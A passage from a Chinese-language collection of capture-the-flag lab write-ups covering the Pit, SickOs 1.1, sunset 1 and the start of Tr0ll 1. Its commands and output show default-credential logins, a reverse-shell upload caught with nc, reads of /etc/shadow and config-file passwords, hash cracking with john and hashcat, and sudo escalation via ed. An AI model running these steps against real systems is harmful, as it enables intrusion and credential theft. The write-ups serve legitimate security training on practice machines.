NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".8 = STRING: CentOS Linux release 8.3.2011
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".9 = STRING: SELinux Settings
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".10 = STRING: user
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".11 = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".12 = STRING:                 Labeling   MLS/       MLS/                          
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".13 = STRING: SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".14 = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".15 = STRING: guest_u         user       s0         s0                             guest_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".16 = STRING: root            user       s0         s0-s0:c0.c1023                 staff_r sysadm_r system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".17 = STRING: staff_u         user       s0         s0-s0:c0.c1023                 staff_r sysadm_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".18 = STRING: sysadm_u        user       s0         s0-s0:c0.c1023                 sysadm_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".19 = STRING: system_u        user       s0         s0-s0:c0.c1023                 system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".20 = STRING: unconfined_u    user       s0         s0-s0:c0.c1023                 system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".21 = STRING: user_u          user       s0         s0                             user_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".22 = STRING: xguest_u        user       s0         s0                             xguest_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".23 = STRING: login
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".24 = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".25 = STRING: Login Name           SELinux User         MLS/MCS Range        Service
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".26 = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".27 = STRING: __default__          unconfined_u         s0-s0:c0.c1023       *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".28 = STRING: michelle             user_u               s0                   *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".29 = STRING: root                 unconfined_u         s0-s0:c0.c1023       *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".30 = STRING: System uptime
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".31 = STRING:  14:31:07 up  2:26,  1 user,  load average: 0.00, 0.00, 0.00
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".31 = No more variables left in this MIB View (It is past the end of the MIB tree)
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# ssh -i id_rsa root@10.10.10.241                                                      
Web console: https://pit.htb:9090/

Last login: Mon May 10 11:42:46 2021
[root@pit ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@pit ~]# whoami
root
[root@pit ~]# cat root.txt 
cfcabb6990fb551b2b4627fb4e786946
[root@pit ~]# cat /etc/shadow | grep root
root:$6$4ZnZ0Iv3NzFIZtKa$tA78wgAwaBBSg96ecMRPYIogQmANo/9pJhHmf06bCmbKukMDM9rdT2Mdc6UhwD1raDzXIrk.zjQ9lkJIoLShE.:18757:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1984.jpg)

#### Cleanup Script

``` bash
[root@pit ~]# cat cleanup.sh 
#!/bin/bash

# Remove attached files (keep "Upgrade Note")
for d in `/usr/bin/find /var/www/html/seeddms51x/data/1048576/ -mindepth 1 -type d -mmin +5 -not -name 21`
do
  rm -rf $d
  id=${d##*/}
  /usr/bin/mysql -u root -p'ek)aizee^FaiModa~ce]z6c' seeddms <<DELETE_QUERY
DELETE FROM tblDocumentContent where id = $id;
DELETE FROM tblDocuments where id = $id;
DELETE_QUERY
done

# Restore monitoring scripts
/usr/bin/rm -rf /usr/local/monitoring/*
/usr/bin/cp /root/monitoring/* /usr/local/monitoring
/usr/bin/chmod 700 /usr/local/monitoring/*

# Clean /tmp directory
/usr/bin/rm -rf /tmp/*

# Restart php-fpm
/usr/bin/systemctl restart php-fpm.service

# Clean authorized_keys
> /root/.ssh/authorized_keys
```

#### Summary of knowledge

 - snmp information gathering
 - SeedDMS versions < 5.1.11 - Remote Command Execution
 - MYSQL creds leak in settings.xml
 - to get shell script excecute by SNMP OID
 - Permission misconfiguration privesclation

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end pit -->

</details>

<a id="case-sickos-1-1"></a>

## 代理可达性与 CMS 文件权限

Squid 代理决定 Web 服务可达性，后台认证和上传连接到本地用户。原记录保留账户复用与权限观察。

<p class="kb-provenance">来源 SickOs-1-1 · 原记录 2020-03-27 · 13 个代码块 · 6 处图片引用</p>

<details class="kb-evidence" id="record-sickos-1-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start SickOs-1-1 -->

#### 名称
名称：SickOs: 1.1
发布日期：2015年12月11日

#### 下载

 - Download (Mirror): https://download.vulnhub.com/sickos/sick0s1.1.7z
 - Download (Torrent): https://download.vulnhub.com/sickos/sick0s1.1.7z.torrent



#### 描述

``` bash
Name........: SickOs1.1
Date Release: 11 Dec 2015
Author......: D4rk
Series......: SickOs
Objective...: Get /root/a0216ea4d51874464078c618298b1367.txt
Tester(s)...: h1tch1
Twitter.....: https://twitter.com/D4rk36
```

``` bash
该CTF明确地类比了如何在网络上执行黑客策略，以在安全的环境中危害网络。这个虚拟与在OSCP中遇到的实验室非常相似。目的是破坏网络/计算机并在其上获得管理root权限。
```

文件信息：

``` bash
FileName: sick0s1.1.7z
File Size: 652.52 MB
MD5: 396e46897c54da6ded6604b861c806b7
SHA1: 3578a10ba92f860c2f0d8934ec5a9bbffc4c7859
```

虚拟机：

``` bash
Format: 7z
Operating System: Ubuntu
Tested: VMware Workstation 11.0.0 build-2305329
```

联网：

``` bash
DHCP服务：已启用
IP地址：自动分配
```

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.66.*
Nmap scan report for 192.168.66.13
Host is up (0.00011s latency).
MAC Address: 00:0C:29:A3:1D:35 (VMware)
```

``` bash
root@kali:~# nmap -p- -sV -v 192.168.66.13
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
3128/tcp open   http-proxy Squid http proxy 3.1.19
8080/tcp closed http-proxy
```

``` bash
root@kali:~# nmap -p 22,3128,8080 -A -T4 -v 192.168.66.13 --script=vuln
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
3128/tcp open   http-proxy Squid http proxy 3.1.19
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-server-header: squid/3.1.19
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| vulners: 
|   cpe:/a:squid-cache:squid:3.1.19: 
|       CVE-2016-4054   6.8     https://vulners.com/cve/CVE-2016-4054
|       CVE-2016-4052   6.8     https://vulners.com/cve/CVE-2016-4052
|       CVE-2016-4051   6.8     https://vulners.com/cve/CVE-2016-4051
|       CVE-2014-7142   6.4     https://vulners.com/cve/CVE-2014-7142
|       CVE-2014-7141   6.4     https://vulners.com/cve/CVE-2014-7141
|       CVE-2016-4556   5.0     https://vulners.com/cve/CVE-2016-4556
|       CVE-2016-4555   5.0     https://vulners.com/cve/CVE-2016-4555
|       CVE-2016-10002  5.0     https://vulners.com/cve/CVE-2016-10002
|       CVE-2012-5643   5.0     https://vulners.com/cve/CVE-2012-5643
|_      CVE-2016-4053   4.3     https://vulners.com/cve/CVE-2016-4053
8080/tcp closed http-proxy
```

在nmap扫描期间观察到3128上存在有关代理的内容，那么尝试在firefox浏览器中手动建立代理。在HTTP代理和端口3128中提供VM的IP，如下图所示：

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub223.jpg)

访问robotx.txt文件，查看里面的内容，然后进入wolfcms目录

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub224.jpg)
 
 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub225.jpg)

#### getshell

对Wolf CMS不太了解，所以搜索了Google以了解后台管理页面的位置。当通过Google找到登录页面时，将其打开。需要用户名和密码。默认情况下，用户名和密码分别为admin和admin，登录到管理控制台，然后选择文件选项卡，然后选择上传文件选项。

后台

``` bash
http://192.168.66.13/wolfcms/?/admin/login
```

账号密码：admin/admin

进入之后找到上传点上传php-reverse-shell

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub226.jpg)

然后浏览器访问phpreverseshell,在kali端使用nc监听，反弹回了shell

``` bash
root@kali:~# nc -lvp 5566
listening on [any] 5566 ...
192.168.66.13: inverse host lookup failed: Unknown host
connect to [192.168.66.6] from (UNKNOWN) [192.168.66.13] 44079
Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
 10:47:19 up  1:40,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ pwd 
/
```

#### 提权

查看/etc/passwd文件

``` bash
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
landscape:x:104:109::/var/lib/landscape:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
sickos:x:1000:1000:sickos,,,:/home/sickos:/bin/bash
mysql:x:106:114:MySQL Server,,,:/nonexistent:/bin/false
```

在网站根目录下面找到配置文件中的数据库用户名和密码如下

``` bash
$ pwd
/var/www/wolfcms
$ cat config.php
<?php 

// Database information:
// for SQLite, use sqlite:/tmp/wolf.db (SQLite 3)
// The path can only be absolute path or :memory:
// For more info look at: www.php.net/pdo

// Database settings:
define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', 'john@123');
define('TABLE_PREFIX', '');

...
```

观察它提供的所有用户详细信息，会发现用户sickos的值为1000:1000，这意味着sickos是第一个用户。因此，在这里嗅到了root权限用户的气味，因为它是第一个用户。因此，使用发现的密码john@123将用户切换为sickos。

``` bash
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@SickOs:/var/www/wolfcms$ ls
ls
CONTRIBUTING.md  composer.json  docs         index.php  robots.txt
README.md        config.php     favicon.ico  public     wolf
www-data@SickOs:/var/www/wolfcms$ su sickos
su sickos
Password: john@123

sickos@SickOs:/var/www/wolfcms$ id
id
uid=1000(sickos) gid=1000(sickos) groups=1000(sickos),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare)
sickos@SickOs:/var/www/wolfcms$ whoami
whoami
sickos
sickos@SickOs:/var/www/wolfcms$ cd /root
cd /root
bash: cd: /root: Permission denied
sickos@SickOs:/var/www/wolfcms$ sudo -s
sudo -s
[sudo] password for sickos: john@123

root@SickOs:/var/www/wolfcms# id
id
uid=0(root) gid=0(root) groups=0(root)
root@SickOs:/var/www/wolfcms# whoami
whoami
root
root@SickOs:/var/www/wolfcms# cd /root
cd /root
root@SickOs:/root# ls
ls
a0216ea4d51874464078c618298b1367.txt
root@SickOs:/root# cat a0216ea4d51874464078c618298b1367.txt
cat a0216ea4d51874464078c618298b1367.txt
If you are viewing this!!

ROOT!

You have Succesfully completed SickOS1.1.
Thanks for Trying
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub227.jpg)

到此为止成功获取到了root权限并读取了flag

#### 其它提权方法参考

 - [2015-slickOs-1.1](https://github.com/kingbobi/ctf-writeup/tree/master/2015/slickOs-1.1)
 - [write-up-sickos-1-1](https://blog.christophetd.fr/write-up-sickos-1-1/)
 - [vulnhub-writeup-SickOs-1-1](https://github.com/zionspike/vulnhub-writeup/blob/master/sick0s%201.1/kapi-note.md)

就是利用ShellShock漏洞和自动定时任务提权,很简单，在这里就不多做演示了


#### 知识点总结

 - 浏览器设置http-proxy Squid http proxy代理访问
 - 弱口令
 - 文件上传
 - 用户值为1000:1000-第一用户提权

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end SickOs-1-1 -->

</details>

<a id="case-sunset-1"></a>

## FTP 备份哈希与编辑器权限

匿名 FTP 中的备份连接 Linux 用户哈希，后续 sudo ed 的命令能力决定 root 权限。破解方式与编辑器交互均留存。

<p class="kb-provenance">来源 sunset-1 · 原记录 2020-04-14 · 9 个代码块 · 3 处图片引用</p>

<details class="kb-evidence" id="record-sunset-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start sunset-1 -->

#### 名称
名称：sunset: 1
发布日期：2019年7月29日

#### 下载

sunset.zip

 - Download: https://mega.nz/#!AGZU1C6J!y_Pc0BEJ2EsAFiBeUY91s4e9mgrlo8sN4aT3wKVen6s
 - Download (Mirror): https://download.vulnhub.com/sunset/sunset.zip
 - Download (Torrent): https://download.vulnhub.com/sunset/sunset.zip.torrent



#### 描述

N/A

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.*
Nmap scan report for 192.168.56.123
Host is up (0.00016s latency).
MAC Address: 08:00:27:89:F0:14 (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -v -p- -sV 192.168.56.123
PORT   STATE SERVICE VERSION
21/tcp open  ftp     pyftpdlib 1.5.5
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
```

``` bash
root@kali:~# nmap -p 21,22 -v -A -T4 --script=vuln 192.168.56.123
PORT   STATE SERVICE VERSION
21/tcp open  ftp     pyftpdlib 1.5.5
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown: 
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
```

通过尝试发现可以通过anonymous用户登录ftp

#### 列举

不出所料，尝试使用匿名用户登录ftp，并成功完成了此操作，此后在那里获得了一个名为“ backup”的文件。首先将该文件保存在系统中，然后打开该文件并得到五个用户的哈希值。

``` bash
root@kali:~/vulnhub/sunset# ftp 192.168.56.123
Connected to 192.168.56.123.
220 pyftpdlib 1.5.5 ready.
Name (192.168.56.123:root): anonymous
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 Active data connection established.
125 Data connection already open. Transfer starting.
-rw-r--r--   1 root     root         1062 Jul 29  2019 backup
226 Transfer complete.
ftp> get backup
local: backup remote: backup
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
1062 bytes received in 0.01 secs (135.0579 kB/s)
ftp> quit
221 Goodbye.
root@kali:~/vulnhub/sunset# ls
backup
root@kali:~/vulnhub/sunset# cat backup 
CREDENTIALS:                                                                                                                                                                                                       
office:$6$$9ZYTy.VI0M7cG9tVcPl.QZZi2XHOUZ9hLsiCr/avWTajSPHqws7.75I9ZjP4HwLN3Gvio5To4gjBdeDGzhq.X.                                                                                                                  
datacenter:$6$$3QW/J4OlV3naFDbhuksxRXLrkR6iKo4gh.Zx1RfZC2OINKMiJ/6Ffyl33OFtBvCI7S4N1b8vlDylF2hG2N0NN/                                                                                                              
sky:$6$$Ny8IwgIPYq5pHGZqyIXmoVRRmWydH7u2JbaTo.H2kNG7hFtR.pZb94.HjeTK1MLyBxw8PUeyzJszcwfH0qepG0                                                                                                                     
sunset:$6$406THujdibTNu./R$NzquK0QRsbAUUSrHcpR2QrrlU3fA/SJo7sPDPbP3xcCR/lpbgMXS67Y27KtgLZAcJq9KZpEKEqBHFLzFSZ9bo/
space:$6$$4NccGQWPfiyfGKHgyhJBgiadOlP/FM4.Qwl1yIWP28ABx.YuOsiRaiKKU.4A1HKs9XLXtq8qFuC3W6SCE4Ltx/
```

复制这些hash并将其保存在名为hash的文件中，然后将在crack工具john的帮助下破解用户“sunset”找到密码“ cheer14”的hash。下一步使用此用户名和密码通过ssh连接。

``` bash
root@kali:~/vulnhub/sunset# john hash
Warning: detected hash type "HMAC-SHA256", but the string is also recognized as "HMAC-SHA512"
Use the "--format=HMAC-SHA512" option to force loading these as that type instead
Warning: only loading hashes of type "HMAC-SHA256", but also saw type "sha512crypt"
Use the "--format=sha512crypt" option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 10 candidates buffered for the current salt, minimum 32 needed for performance.
Warning: Only 11 candidates buffered for the current salt, minimum 32 needed for performance.
Warning: Only 29 candidates buffered for the current salt, minimum 32 needed for performance.
Warning: Only 20 candidates buffered for the current salt, minimum 32 needed for performance.
Warning: Only 26 candidates buffered for the current salt, minimum 32 needed for performance.
Warning: Only 29 candidates buffered for the current salt, minimum 32 needed for performance.
Warning: Only 8 candidates buffered for the current salt, minimum 32 needed for performance.
Warning: Only 16 candidates buffered for the current salt, minimum 32 needed for performance.
Warning: Only 31 candidates buffered for the current salt, minimum 32 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 15 candidates buffered for the current salt, minimum 32 needed for performance.
Further messages of this type will be suppressed.
To see less of these warnings, enable 'RelaxKPCWarningCheck' in john.conf
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
```

john太慢，半天出不了结果，如果电脑显卡配置好的话，可以如下选用rockyou.txt字典并使用hashcat来破解密码

``` bash
D:\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -a 0 -m 1800 password.txt rockyou.txt
hashcat (v5.1.0) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
* Device #2: Intel's OpenCL runtime (GPU only) is currently broken.
             We are waiting for updated OpenCL drivers from Intel.
             You can use --force to override, but do not report related errors.
nvmlInit(): Unknown Error

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1070, 2048/8192 MB allocatable, 16MCU

OpenCL Platform #2: Intel(R) Corporation
========================================
* Device #2: Intel(R) UHD Graphics 630, skipped.
* Device #3: Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz, skipped.

Hashes: 5 digests; 5 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Uses-64-Bit

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.

Watchdog: Temperature abort trigger set to 90c

Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344367
* Bytes.....: 139921318
* Keyspace..: 14344360
* Runtime...: 3 secs

$6$$4NccGQWPfiyfGKHgyhJBgiadOlP/FM4.Qwl1yIWP28ABx.YuOsiRaiKKU.4A1HKs9XLXtq8qFuC3W6SCE4Ltx/:space
$6$406THujdibTNu./R$NzquK0QRsbAUUSrHcpR2QrrlU3fA/SJo7sPDPbP3xcCR/lpbgMXS67Y27KtgLZAcJq9KZpEKEqBHFLzFSZ9bo/:cheer14
Cracking performance lower than expected?

* Append -O to the commandline.
  This lowers the maximum supported password- and salt-length (typically down to 32).

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Update your OpenCL runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$6$$Ny8IwgIPYq5pHGZqyIXmoVRRmWydH7u2JbaTo.H2kNG7hFtR.pZb94.HjeTK1MLyBxw8PUeyzJszcwfH0qepG0:sky
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>

Session..........: hashcat
Status...........: Running
Hash.Type........: sha512crypt $6$, SHA512 (Unix)
Hash.Target......: password.txt
Time.Started.....: Wed Apr 15 10:29:47 2020 (59 secs)
Time.Estimated...: Wed Apr 15 10:42:31 2020 (11 mins, 45 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    18801 H/s (10.91ms) @ Accel:64 Loops:32 Thr:32 Vec:1
Recovered........: 3/5 (60.00%) Digests, 1/2 (50.00%) Salts
Progress.........: 2162688/28688720 (7.54%)
Rejected.........: 0/2162688 (0.00%)
Restore.Point....: 1081344/14344360 (7.54%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:640-672
Candidates.#1....: 496580 -> 145263w
Hardware.Mon.#1..: N/A

Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Type........: sha512crypt $6$, SHA512 (Unix)
Hash.Target......: password.txt
Time.Started.....: Wed Apr 15 10:29:47 2020 (14 mins, 9 secs)
Time.Estimated...: Wed Apr 15 10:43:56 2020 (0 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    16929 H/s (10.62ms) @ Accel:64 Loops:32 Thr:32 Vec:1
Recovered........: 3/5 (60.00%) Digests, 1/2 (50.00%) Salts
Progress.........: 28688720/28688720 (100.00%)
Rejected.........: 0/28688720 (0.00%)
Restore.Point....: 14344360/14344360 (100.00%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:4992-5000
Candidates.#1....: $HEX[284d4f544f29333136] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: N/A

Started: Wed Apr 15 10:29:17 2020
Stopped: Wed Apr 15 10:43:58 2020
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub255.jpg)

使用下面的命令查看已经破解的密码

``` bash
D:\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -a 0 -m 1800 password.txt rockyou.txt --show
$6$$4NccGQWPfiyfGKHgyhJBgiadOlP/FM4.Qwl1yIWP28ABx.YuOsiRaiKKU.4A1HKs9XLXtq8qFuC3W6SCE4Ltx/:space
$6$$Ny8IwgIPYq5pHGZqyIXmoVRRmWydH7u2JbaTo.H2kNG7hFtR.pZb94.HjeTK1MLyBxw8PUeyzJszcwfH0qepG0:sky
$6$406THujdibTNu./R$NzquK0QRsbAUUSrHcpR2QrrlU3fA/SJo7sPDPbP3xcCR/lpbgMXS67Y27KtgLZAcJq9KZpEKEqBHFLzFSZ9bo/:cheer14
```

得到三个已经破解的用户和密码

``` bash
space    space
sky      sky
sunset   cheer14
```

#### 利用然后进一步提权

使用用户Sunset通过ssh登录，并在其中找到了名为user.txt的文件，并在其中再次获得了hash文件。

现在，检查哪个文件具有sudo权限，并且发现ed是sudoers的成员。

因此，执行！/bin/sh命令，并获得root访问权限。

以root用户身份登录后，再次找到了一个名为flag.txt的文件；

获得最后的flag。已经成功获得了root访问权限并通关了这个CTF box。

``` bash
root@kali:~# ssh sunset@192.168.56.123
The authenticity of host '192.168.56.123 (192.168.56.123)' can't be established.
ECDSA key fingerprint is SHA256:n9ATwmONo6fCyPblqlvcO7WcIWZJMqBaqDdo/jYnLPI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.123' (ECDSA) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa': 
sunset@192.168.56.123's password: 
Linux sunset 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u1 (2019-07-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jul 28 20:52:38 2019 from 192.168.1.182
sunset@sunset:~$ id
uid=1000(sunset) gid=1000(sunset) groups=1000(sunset),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
sunset@sunset:~$ whoami
sunset
sunset@sunset:~$ ls
user.txt
sunset@sunset:~$ cat user.txt
5b5b8e9b01ef27a1cc0a2d5fa87d7190
sunset@sunset:~$ sudo -l
Matching Defaults entries for sunset on sunset:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sunset may run the following commands on sunset:
    (root) NOPASSWD: /usr/bin/ed
sunset@sunset:~$ sudo /usr/bin/ed
id
?
!/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# pwd
/home/sunset
# cd /root
# ls
flag.txt  ftp  server.sh
# cat flag.txt
25d7ce0ee3cbf71efbac61f85d0c14fe
#
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub256.jpg)

#### 知识点总结

 - ftp anonymous用户免密码登录
 - john破解linux sha512 hash值
 - hashcat破解linux sha512 hash值
 - sudo无需密码ed通过!/bin/sh提权

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end sunset-1 -->

</details>

<a id="case-tr0ll-1"></a>

## 历史流量线索与可写清理任务

FTP 与字典连接账户，定时 Python 脚本和 OverlayFS 提供不同本地提权路径。两条原有路线的条件及输出同时保留。

<p class="kb-provenance">来源 Tr0ll-1 · 原记录 2020-03-31 · 18 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-tr0ll-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Tr0ll-1 -->

#### 名称
名称：Tr0ll: 1
发布日期：2014年8月14日

#### 下载

 - Download: http://overflowsecurity.com/files/Tr0ll.rar
 - Download (Mirror): https://download.vulnhub.com/tr0ll/Tr0ll.rar
 - Download (Torrent): https://download.vulnhub.com/tr0ll/Tr0ll.rar.torrent



#### 描述

Tr0ll的灵感来自OSCP实验室中不断摇曳的机器。目标很简单，获得root权限并从/ root目录获取Proof.txt。不为容易受挫！公平警告，前方有巨魔！难度：初学者类型：boot2root

特别感谢@ OS_Eagle11和@superkojiman自始至终经历了测试！本机应使用DHCP提取IP，如果有任何问题，请与我联系以获取密码以使其正常工作。反馈总是很感激！male

Freenode-Maleus

``` bash
MD5SUM (Tr0ll.rar): 318fe0b1c0dd4fa0a8dca43edace8b20
```

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sV -p- -v 192.168.66.15
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
```

``` bash
